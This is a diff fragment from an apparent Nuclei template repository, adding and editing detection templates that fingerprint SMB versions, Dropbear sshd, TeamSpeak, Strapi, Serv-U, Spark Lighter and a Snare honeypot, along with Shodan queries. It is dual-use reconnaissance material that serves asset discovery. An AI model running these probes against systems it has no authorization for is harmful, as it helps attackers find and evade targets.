"Windows 10, Version 1709"; + } else if (response.OSVersion === "10.0.17134") { + osInfo = "Windows 10, Version 1803"; + } else if (response.OSVersion === "10.0.17763") { + osInfo = "Windows Server 2019, Version 1809"; + } else if (response.OSVersion === "10.0.17763") { + osInfo = "Windows 10, Version 1809"; + } else if (response.OSVersion === "6.0.6003") { + osInfo = "Windows Server 2008, Service Pack 2, Rollup KB4489887"; + } else if (response.OSVersion === "10.0.18362") { + osInfo = "Windows 10, Version 1903"; + } else if (response.OSVersion === "10.0.18363") { + osInfo = "Windows 10, Version 1909"; + } else if (response.OSVersion === "10.0.18363") { + osInfo = "Windows Server, Version 1909"; + } else if (response.OSVersion === "10.0.19041") { + osInfo = "Windows 10, Version 2004"; + } else if (response.OSVersion === "10.0.19041") { + osInfo = "Windows Server, Version 2004"; + } else if (response.OSVersion === "10.0.19042") { + osInfo = "Windows 10, Version 20H2"; + } else if (response.OSVersion === "10.0.19042") { + osInfo = "Windows Server, Version 20H2"; + } else if (response.OSVersion === "10.0.19043") { + osInfo = "Windows 10, Version 21H1"; + } else if (response.OSVersion === "10.0.20348") { + osInfo = "Windows Server 2022, Version 21H2"; + } else if (response.OSVersion === "10.0.22000") { + osInfo = "Windows 11, Version 21H2"; + } else if (response.OSVersion === "10.0.19044") { + osInfo = "Windows 10, Version 21H2"; + } else if (response.OSVersion === "10.0.22621") { + osInfo = "Windows 11, Version 22H2"; + } else if (response.OSVersion === "10.0.19045") { + osInfo = "Windows 10, Version 22H2"; + } else if (response.OSVersion === "10.0.25398") { + osInfo = "Windows Server, Version 23H2"; + } else if (response.OSVersion === "10.0.22631") { + osInfo = "Windows 11, Version 23H2"; + } else if (response.OSVersion !== "0") { + osInfo = response.OSVersion; + } + osInfo; + + args: + Host: "{{Host}}" + Port: "445" + + extractors: + - type: dsl + dsl: + - response +# digest: 4a0a00473045022100df4701782934e9b9355107ec589a67d6a14213c733425996850f43a1b727fffe022036d2fe369dc55006ad286f26b7c1692ecacc8bdec6a02db5344e7a5ae53c12db:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/smb-v1-detection-10336.yaml b/poc/detect/smb-v1-detection-10336.yaml index 8326a7cd28..4ff32b9e36 100644 --- a/poc/detect/smb-v1-detection-10336.yaml +++ b/poc/detect/smb-v1-detection-10336.yaml @@ -3,9 +3,8 @@ info: name: SMB-V1 Detection author: pussycat0x severity: low - reference: - - https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/ tags: network,windows,smb,service + reference: https://stealthbits.com/blog/what-is-smbv1-and-why-you-should-disable-it/ network: - inputs: - data: 00000031ff534d4272000000001845680000000000000000000000000000be2200000100000e00024e54204c4d20302e3132000200 diff --git a/poc/detect/smb-version-detect.yaml b/poc/detect/smb-version-detect.yaml new file mode 100644 index 0000000000..d9a5febdf5 --- /dev/null +++ b/poc/detect/smb-version-detect.yaml @@ -0,0 +1,34 @@ +id: smb-version-detect + +info: + name: SMB Version - Detection + author: pussycat0x + severity: info + description: | + SMB version detection involves identifying the specific Server Message Block protocol version used by a system or network. This process is crucial for ensuring compatibility and security, as different SMB versions may have distinct features and vulnerabilities. + metadata: + max-request: 1 + shodan-query: "port:445" + tags: js,network,smb,enum +javascript: + - code: | + let m = require("nuclei/smb"); + let c = new m.SMBClient(); + let response = c.ConnectSMBInfoMode(Host, Port); + Export(response); + + args: + Host: "{{Host}}" + Port: "445" + + matchers: + - type: dsl + dsl: + - "len(smb-version) != 0" + + extractors: + - type: json + name: smb-version + json: + - '.Version.VerString' +# digest: 4a0a0047304502203db641d02e5d92b195b7c32bc022ff57227ac479cc970391b2c513538c827f52022100c5b9e5467b6e319975f14b151536704dfbd011b6a185f5efee3e6acbad9ee10a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/snare-honeypot-detect.yaml b/poc/detect/snare-honeypot-detect.yaml new file mode 100644 index 0000000000..95bba8d95f --- /dev/null +++ b/poc/detect/snare-honeypot-detect.yaml @@ -0,0 +1,38 @@ +id: snare-honeypot-detect + +info: + name: Snare Honeypot - Detect + author: UnaPibaGeek + severity: info + description: | + Snare honeypot has been identified. + The response to an incorrect HTTP version reveals a possible setup of the Snare web application honeypot. + metadata: + verified: true + max-request: 1 + vendor: snare + product: http + shodan-query: '"Python/3.10 aiohttp/3.8.3" && Bad status' + tags: snare,honeypot,ir,cti + +http: + - raw: + - | + GET / HTTP/1337 + Host: {{Hostname}} + + unsafe: true + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "Python/3.10 aiohttp/3.8.3" + + - type: word + part: body + words: + - "Bad status line 'Expected dot'" + +# digest: 4a0a0047304502203700afbdd19e7acc213ce89a589e27a9a5ed0a98d58db8442469c6f6ed86cc58022100a2e62b5622704bdee9e5053c57db119166502685578f2d1ad0f6a5addcd23cf1:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/solarwinds-servuftp-detect-10360.yaml b/poc/detect/solarwinds-servuftp-detect-10362.yaml similarity index 100% rename from poc/detect/solarwinds-servuftp-detect-10360.yaml rename to poc/detect/solarwinds-servuftp-detect-10362.yaml diff --git a/poc/detect/solarwinds-servuftp-detect.yaml b/poc/detect/solarwinds-servuftp-detect.yaml index 853ccd60c8..4fcb5aeb78 100644 --- a/poc/detect/solarwinds-servuftp-detect.yaml +++ b/poc/detect/solarwinds-servuftp-detect.yaml @@ -1,38 +1,24 @@ id: solarwinds-servuftp-detect - info: - name: SolarWinds Serv-U File Server Panel - Detect + name: SolarWinds Serv-U FileServer author: johnk3r severity: info - description: SolarWinds Serv-U File Server panel was detected. - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N - cvss-score: 0 - cwe-id: CWE-200 - metadata: - max-request: 1 tags: solarwinds,panel - -http: +requests: - method: GET path: - "{{BaseURL}}" - matchers-condition: and matchers: - type: regex part: header regex: - "Serv-U" - - type: status status: - 200 - extractors: - type: kval part: header kval: - Server - -# digest: 4a0a00473045022100c5226199efd9bcbd8770d49dc1f654c06bb9d4dad2238980c95f613e6355a2ae02205b3d5b6a033be49fd5ceb5d9adccaa33745e44029396bacda8c7c9f7e5b26ed0:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/sparklighter-detect.yaml b/poc/detect/sparklighter-detect.yaml new file mode 100644 index 0000000000..6296410e7b --- /dev/null +++ b/poc/detect/sparklighter-detect.yaml @@ -0,0 +1,36 @@ +id: sparklighter-detect + +info: + name: Spark Lighter Detection + author: icarot + severity: info + description: | + Detects a Spark Lighter server, a REST API for Apache Spark on K8S or YARN. + classification: + cpe: cpe:2.3:a:apache:spark:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: apache + product: spark + category: productivity + tags: tech,lighter,spark,detect + +http: + - method: GET + path: + - "{{BaseURL}}/lighter/api" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Lighter' + - '/lighter/favicon.svg' + condition: and + + - type: status + status: + - 200 +# digest: 490a0046304402207385072267045626e21df0372710dba86a13eb83ba4f174534eced87bda3caf902203f7a6980f505827c380f8d3255574a0d02e42637f362cc66340dce59452f5150:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/sshd-dropbear-detect.yaml b/poc/detect/sshd-dropbear-detect.yaml new file mode 100644 index 0000000000..a4720e86f8 --- /dev/null +++ b/poc/detect/sshd-dropbear-detect.yaml @@ -0,0 +1,32 @@ +id: sshd-dropbear-detect + +info: + name: Dropbear sshd Detection + author: pussycat0x + severity: info + description: | + Dropbear is a software package written by Matt Johnston that provides a Secure Shell-compatible server and client. It is designed as a replacement for standard OpenSSH for environments with low memory and processor resources, such as embedded systems + metadata: + max-request: 1 + shodan-query: product:"Dropbear sshd" + verified: true + tags: network,ssh,dropbear,detect + +tcp: + + - inputs: + - data: "\n" + host: + - "{{Hostname}}" + port: 22 + + matchers: + - type: word + words: + - "dropbear" + + extractors: + - type: regex + regex: + - "SSH-([0-9.]+)-dropbear_([0-9.]+)" +# digest: 490a004630440220438498b49b5385bc372baaee7e1eff1283d2e9c61ab0c1dc23186c490d869cb502205dc85f28855b9801106223738ae1f41ce8d308f633757c65f62c509bab67215a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/strapi-cms-detect-10538.yaml b/poc/detect/strapi-cms-detect-10538.yaml index 52fa91b9ef..5063a4b80b 100644 --- a/poc/detect/strapi-cms-detect-10538.yaml +++ b/poc/detect/strapi-cms-detect-10538.yaml @@ -1,19 +1,40 @@ id: strapi-cms-detect + info: - name: strapi CMS detect - author: cyllective + name: Strapi CMS detect + author: cyllective,daffainfo,idealphase severity: info - description: Detects strapi CMS - tags: tech,strapi,cms + description: Open source Node.js Headless CMS to easily build customisable APIs reference: - https://github.com/strapi/strapi -requests: + metadata: + max-request: 1 + tags: tech,strapi,cms + +http: - method: GET path: - - "{{BaseURL}}/admin/auth/login" + - "{{BaseURL}}/admin/init" + + matchers-condition: and matchers: - type: word part: body - condition: or words: - - 'Strapi Admin' + - '"data"' + - '"uuid"' + - '"hasAdmin"' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + part: body + group: 1 + regex: + - '"strapiVersion":"([0-9.]+)"' + +# digest: 490a00463044022063689c9b0ee20401cc8a1f9234eb881cc45e23929fcad30ffe91913cf8307c63022058b01f3090cb1afd3c54251e11698b7c0cc656b75372bcef9f5989cdea66f771:922c64590222798bb761d5b6d8e72950 diff --git a/poc/detect/teamspeak3-detect.yaml b/poc/detect/teamspeak3-detect.yaml new file mode 100644 index 0000000000..d82d3be2bf --- /dev/null +++ b/poc/detect/teamspeak3-detect.yaml @@ -0,0 +1,28 @@ +id: teamspeak3-detect + +info: + name: TeamSpeak 3 ServerQuery Detection + author: pussycat0x + severity: info + description: | + ServerQuery is a commandline based administration tool/feature of TeamSpeak 3 server. + metadata: + max-request: 1 + shodan-query: product:"TeamSpeak 3 ServerQuery" + verified: true + tags: network,service,teamspeak3,detect +tcp: + - inputs: + - data: "\r\n" + + host: + - "{{Hostname}}" + port: 2002 + + matchers: + - type: word + words: + - "TS3" + - "TeamSpeak 3 ServerQuery interface" + condition: and +# digest: 4a0a00473045022100936e2057d2db7acefb3983eb5b9dcdca5c43f462753c2561c1e3d614e824ab5b0220529df4ca771316deff99632d56210e75cd24909729a9e2f93f2aff76dc499828:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/detect/tech-detect-10675.yaml b/poc/detect/tech-detect-10675.yaml deleted file mode 100644 index 34ea03e49c..0000000000 --- a/poc/detect/tech-detect-10675.yaml +++ /dev/null @@ -1,3722 +0,0 @@ -id: tech-detect - -info: - name: Wappalyzer Technology Detection - author: hakluke - severity: info - metadata: - max-request: 1 - tags: tech - -http: - - method: GET - path: - - "{{BaseURL}}" - - host-redirects: true - max-redirects: 2 - - matchers-condition: or - matchers: - - type: regex - name: mollom - regex: - - ]+\.mollom\.com - condition: or - part: body - - - type: word - name: atlassian-jira - words: - - "Project Management Software" - - "atlassian.com/software/jira" - condition: and - part: body - - - type: regex - name: genexus - regex: - - ]+?id="gxtheme_css_reference" - condition: or - part: body - - - type: regex - name: flat-ui - regex: - - ]* href=[^>]+flat-ui(?:\.min)?\.css - condition: or - part: body - - - type: regex - name: dovetailwrp - regex: - - ]* href="\/DovetailWRP\/ - condition: or - part: body - - - type: regex - name: highcharts - regex: - - ]*>Created with Highcharts ([\d.]*) - condition: or - part: body - - - type: regex - name: videojs - regex: - - ]+class="video-js+"> - condition: or - part: body - - - type: regex - name: tictail - regex: - - ]*tictail\.com - condition: or - part: body - - - type: regex - name: wikinggruppen - regex: - - - condition: or - part: body - - - type: regex - name: moodle - regex: - - ]+moodlelogo - condition: or - part: body - - - type: regex - name: minibb - regex: - - [^<]+\n - condition: or - part: body - - - type: regex - name: woocommerce - regex: - - - condition: or - part: body - - - type: regex - name: jsdelivr - regex: - - <[^>]+?//cdn\.jsdelivr\.net/ - condition: or - part: body - - - type: regex - name: user.com - regex: - - ]+/id="ue_widget" - condition: or - part: body - - - type: regex - name: smart-ad-server - regex: - - ]+smartadserver\.com\/call - condition: or - part: body - - - type: regex - name: comandia - regex: - - ]+=['"]//cdn\.mycomandia\.com - condition: or - part: body - - - type: regex - name: shellinabox - regex: - - Shell In A Box - - must be enabled for ShellInABox - condition: or - part: body - - - type: regex - name: websocket - regex: - - ]+rel=["']web-socket["'] - - <(?:link|a)[^>]+href=["']wss?:// - condition: or - part: body - - - type: regex - name: gravatar - regex: - - <[^>]+gravatar\.com/avatar/ - condition: or - part: body - - - type: regex - name: php-nuke - regex: - - <[^>]+Powered by PHP-Nuke - condition: or - part: body - - - type: regex - name: essential-js-2 - regex: - - '<[^>]+ class ?= ?"(?:e-control|[^"]+ e-control)(?: )[^"]* e-lib\b' - condition: or - part: body - - - type: regex - name: wolf-cms - regex: - - (?:]+zbxCallPostScripts - condition: or - part: body - - - type: regex - name: phpbb - regex: - - Powered by ]+phpBB - -